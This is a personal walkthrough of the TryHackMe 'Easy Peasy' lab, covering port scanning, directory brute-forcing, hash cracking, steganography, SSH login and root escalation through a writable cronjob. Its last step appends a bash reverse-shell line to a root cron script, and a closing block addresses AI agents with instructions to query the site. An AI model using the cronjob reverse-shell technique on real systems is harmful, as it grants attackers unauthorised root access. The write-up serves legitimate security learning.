# EasyPeasy

Try this challenge in [TryHackMe: **Easy Peasy**](https://tryhackme.com/r/room/easypeasyctf)

> I tried this easy CTF and below is my thought process on how I answered the questions and some notes for future reference. I got some hints from this Medium walkthrough: [TryHackMe: Easy Peasy Write-up by Kevin De Vijlder](https://medium.com/@kevin.de.vijlder/tryhackme-easy-peasy-write-up-b148ebed3c7e)

## Task 1: Enumeration through Nmap

### 1.1 How many ports are open?

Let's run a nmap scan to check the open ports on the IP assigned to us. Just r**eplace the 10.10.X.X to the IP given to you**.&#x20;

```bash
nmap -sT -p 1-65535 10.10.X.X
```

{% hint style="info" %}
**`-sT`** (TCP connect scan)
{% endhint %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F8kTQn6724nd7HvMFOUhq%2Fc1e642f4-59bc-4cd5-abde-0684fce7cd51.png?alt=media&#x26;token=18d5307f-2ea2-49d3-a710-e8e151461c70" alt="" width="563"><figcaption></figcaption></figure>

*To answer the next two questions*, we’ll be running a nmap scan for the open ports:

### 1.2 What is the version of nginx?

### 1.3 What is running on the highest port?

```bash
nmap -p80,6498,65524 10.10.X.X -sV
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F0PSmSlMu7DB451wLJrAu%2Fbca6faed-0528-472a-bf37-cec1d2ae95ae.png?alt=media&#x26;token=b4eda67f-de2d-4883-a352-77ef8858a30f" alt="" width="563"><figcaption></figcaption></figure>

## Task 2: Compromising the machine

### 2.1 Using GoBuster, find flag 1.

Run gobuster for **<http://10.10.X.X/>**

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.X.X/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FCNLf7gjXdcKFdWRVpaZL%2FScreenshot_2024-06-22_at_12.41.14.png?alt=media&#x26;token=48cf3c46-9795-4022-bef2-0fc025776fd9" alt="" width="563"><figcaption></figcaption></figure>

We found out that there is a /hidden directory. Let's try to run gobuster for **<http://10.10.X.X/hidden>**

{% code overflow="wrap" %}

```bash
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.X.X/hidden
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FXVojeGSac8t3MxC9Or3M%2FScreenshot_2024-06-22_at_12.41.52.png?alt=media&#x26;token=7aafa7c1-daa7-48a4-ae6d-238fb311c396" alt="" width="563"><figcaption></figcaption></figure>

Go to **<http://10.10.X.X/hidden/whatever>**

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FCq9gqyBuE3fkYfQEquzS%2FUntitled.png?alt=media&#x26;token=ff6080d4-29e5-4aa5-a45f-0a2182eebe9d" alt="" width="548"><figcaption></figcaption></figure>

Copy the hidden hash

To decrypt the hash, go to an online decrypter like [**https://hashes.com/en/decrypt/hash**](https://hashes.com/en/decrypt/hash) for faster results

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FWNCTEo1pddzgdLc0Yj7F%2F2_(3).png?alt=media&#x26;token=d2627a79-0d9c-4c67-b438-0b25e4514edb" alt=""><figcaption></figcaption></figure>

### 2.2 Further enumerate the machine, what is flag 2?

Run gobuster for **<http://10.10.X.X:65524>**

{% code overflow="wrap" %}

```bash
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.X.X:65524
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F6YZaSwuh12QKDzEBjLUC%2FUntitled%201.png?alt=media&#x26;token=207300e7-9ef1-421e-95ea-c1bb8b153de7" alt="" width="543"><figcaption></figcaption></figure>

Check **`10.10.X.X:65524/robots.txt`**

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FFMmAf73q3vqBd695dY2D%2FUntitled%202.png?alt=media&#x26;token=072a5530-35d7-4149-8dd8-618367d8b19c" alt="" width="446"><figcaption></figcaption></figure>

In the `User-Agent` field, there’s a hash

To find the type of the hash, use [hash-identifier](https://github.com/blackploit/hash-identifier) module

{% code lineNumbers="true" %}

```bash
cd /hash-identifier
python3 hash-id.py <insert hash here>
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FIZn1x6PlUmmGi1KSpm0U%2F2_(2).png?alt=media&#x26;token=9df6ec70-c6b7-4f1f-850f-3f6ba0b06253" alt="" width="563"><figcaption></figcaption></figure>

Decrypt hash using an online MD5 decrypter

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F2bOhRoAI4Ffmxf1gZ2b4%2F2_(1).png?alt=media&#x26;token=cfc11f9a-dc75-4137-8258-f3a1d99d6bf3" alt=""><figcaption></figcaption></figure>

### 2.3 Crack the hash with easypeasy.txt, What is the flag 3?

From our nmap scan, go to **`http://10.10.X.X:65524`**

Flag 3 is written in plain sight on the web page

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fnvgy18NiV9QgH2JIIRIT%2Fbbdd2a9d-cd2d-425c-b5fd-6a6dc7302894.png?alt=media&#x26;token=bc0cf69d-2cee-4e05-b7e7-84955c1a2066" alt=""><figcaption></figcaption></figure>

### 2.4 What is the hidden directory?

When you View the Page Source of **`http://10.10.X.X:65524`**, a hidden field will be seen that has a hash.

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F6Q8j1Xt2BKk5WPG05lsd%2FUntitled%203.png?alt=media&#x26;token=48177697-b758-483a-aa09-56821176d8e8" alt=""><figcaption></figcaption></figure>

We’ll use [CyberChef](https://gchq.github.io/CyberChef/) to decrypt hash from Base6X (explore options available in CyberChef)

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F1vkMuQ050387TViWLmCT%2FUntitled%204.png?alt=media&#x26;token=daca54fd-c020-4aed-bbf5-5345914aa737" alt="" width="552"><figcaption></figcaption></figure>

### 2.5 Using the wordlist that was provided to you in this task crack the hash what is the password?

When you go to the hidden directory, you’ll see a picture

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fl3KwdyrucO9tEq7AIap6%2FUntitled%205.png?alt=media&#x26;token=e34558bc-b17f-4950-b0d0-05ed5041b573" alt=""><figcaption></figcaption></figure>

Save the image with its default name

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FyD48djz0yVVXl6lOGrZ7%2FScreenshot_2024-07-19_at_20.36.49.png?alt=media&#x26;token=943acec3-a711-4f87-9586-506a1c23c498" alt="" width="563"><figcaption></figcaption></figure>

We’ll use steganography to decode the message in the image

```bash
steghide --extract -sf bianrycodepixabay.jpg
```

But a passphrase is needed to decrypt this file

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FlDIeYWLkKKrho6DwFLmT%2FScreenshot_2024-07-19_at_20.52.25.png?alt=media&#x26;token=58798df8-b3bb-4b2a-a36a-aed65047ca77" alt="" width="563"><figcaption></figcaption></figure>

Let’s try to **View the Page Source** of the image page to get some clues. We indeed retrieved a hash.&#x20;

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FAWG5oo0OyelbBoRftOXN%2FUntitled%206.png?alt=media&#x26;token=5349ea65-e831-4858-a4ad-48f747168fc9" alt=""><figcaption></figcaption></figure>

Save the hash using the filename **hash.txt**

```bash
nano hash.txt
```

To decrypt the hash, use the **johntheripper** module

```bash
sudo /opt/john/john --wordlist=easypeasy.txt --format=gost hash.txt
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F2ZVRRLqS7xBAA7LoZGOQ%2FUntitled%207.png?alt=media&#x26;token=7d323cb3-beed-4773-8856-530e068f5ecd" alt="" width="557"><figcaption></figcaption></figure>

### 2.6 What is the password to login to the machine via SSH?

Going back to the **steghide** module, enter the passphrase that we got.&#x20;

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fq5DCkf8FANEXgPNuWhQ8%2FScreenshot_2024-07-19_at_21.18.19.png?alt=media&#x26;token=dc19ea84-3371-4666-8f2e-080a1a92ecdb" alt="" width="563"><figcaption></figcaption></figure>

A file **secrettext.txt** was extracted. Use this to view the contents of the file.&#x20;

```bash
cat secrettext.txt
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FM7XhzrLg7oU6Rpr1rpBE%2FUntitled%208.png?alt=media&#x26;token=e3efcf80-7e7b-4113-b7bf-f329bd6d0c27" alt="" width="557"><figcaption></figcaption></figure>

We’ll get a username **boring** and binary numbers that need to be decrypted

Use a Binary to Text converter tool online like this:

<https://www.rapidtables.com/convert/number/binary-to-ascii.html>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FutYPlBpql2mBPxSRfPCG%2FUntitled%209.png?alt=media&#x26;token=20dd9281-f076-4a21-9f18-bf0bbd4cbb22" alt="" width="417"><figcaption></figcaption></figure>

### 2.7 What is the user flag?

From our previous nmap scan, we’ll use the **port 6498 for the ssh access**

```bash
ssh boring@10.10.X.X -p 6498
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FIB6vb9wXoeniuysoiPZx%2F2b7f5f73-8e6d-4078-bf21-6367ac3d30a8.png?alt=media&#x26;token=d7e45123-939e-4a13-a01d-1e9bbdff7daa" alt="" width="563"><figcaption></figcaption></figure>

{% code lineNumbers="true" %}

```bash
ls
cat user.txt
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FdOOcpMgYcNe6FJR5JMxm%2F9729b116-7274-4d84-9daa-5886a50d4843.png?alt=media&#x26;token=7b66f249-0fc1-488a-a9b5-6b652c3e8c97" alt="" width="563"><figcaption></figcaption></figure>

**From the Hint,** we got the term “Rotated”, which suggests that this may be encrypted with ROT13. Using CyberChef, we decrypt the flag.

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FlIxhuo0sWfRXGF236eJ8%2FUntitled%2010.png?alt=media&#x26;token=e5879f5e-a38a-43b6-82e2-4ec5f8eac64e" alt="" width="503"><figcaption></figcaption></figure>

### 2.8 What is the root flag?

From the description of this room, we are expected to **escalate our privileges through a vulnerable cronjob**

```bash
cat /etc/crontab
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FPQz3HZMGZQ8cvzTXFN2J%2FScreenshot_2024-07-19_at_22.54.18.png?alt=media&#x26;token=2a4aaf01-cd6f-4ad5-ba75-f5422d6ae1f1" alt="" width="563"><figcaption></figcaption></figure>

The cron job is located in **/var/www**

{% code lineNumbers="true" %}

```bash
cd /var/www
ls -la
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F45Kqirhzy0T3Awvpo1P1%2FScreenshot_2024-07-19_at_22.54.51.png?alt=media&#x26;token=a4f5716f-6e3f-4010-ad5b-bfb1ecc0e29b" alt="" width="563"><figcaption></figcaption></figure>

We’ll see the cronjob **mysecretcronjob.sh** that said that will run as root.&#x20;

```bash
cat .mysecretcronjob.sh
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FOgXxmih2gLaQNVbVJJNC%2FScreenshot_2024-07-19_at_22.55.13.png?alt=media&#x26;token=863a199d-5d49-4a23-b724-baaa5439abfc" alt="" width="563"><figcaption></figcaption></figure>

We can set up a **netcat** **listener** **in our machine** to have a reverse shell since the cronjob has root privileges.

```bash
nc -lvnp 5556
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FlwslK0BNEp0YRJllHmRK%2FScreenshot_2024-07-19_at_22.56.35.png?alt=media&#x26;token=ff594b64-81ca-45ea-8d98-644993920ea1" alt="" width="563"><figcaption></figcaption></figure>

Let's craft our payload:

Get the reverse shell script from [pentestmonkey's reverse shell cheat sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) then **replace the contents of mysecretcronjob.sh**&#x20;

```bash
echo "bash -i >& /dev/tcp/10.10.X.X/5556 0>&1" >> .mysecretcronjob.sh
```

*\*use your machine IP & port 5556*

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FloVm5PbHTfba0Umtvz96%2FScreenshot_2024-07-19_at_22.55.38.png?alt=media&#x26;token=e5d0f957-917b-49f5-b149-1aff5201cf2c" alt=""><figcaption></figcaption></figure>

Let's now wait for the cronjob to be executed to receive a shell

{% code lineNumbers="true" %}

```bash
cd /root
ls -la

```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FNmElCRl8y5kOZwNUP99K%2FScreenshot_2024-07-19_at_22.57.23.png?alt=media&#x26;token=efa50a5b-7c4b-4bfe-a95c-7f25162fdc46" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FeNlDHZ2NlSlGEmXVoubl%2FScreenshot_2024-07-19_at_22.57.45.png?alt=media&#x26;token=d60dab41-5150-4333-a685-fe317cbeb812" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="success" %}
We can see the flag in the **.root.txt** file.
{% endhint %}

```bash
cat .root.txt
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FscwcUv3VC2X8Zvy8JGFT%2FUntitled%2011.png?alt=media&#x26;token=f31786ea-7eff-4171-bcf4-1263808f4f9e" alt="" width="554"><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.marialc.com/tryhackme-rooms/easypeasy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
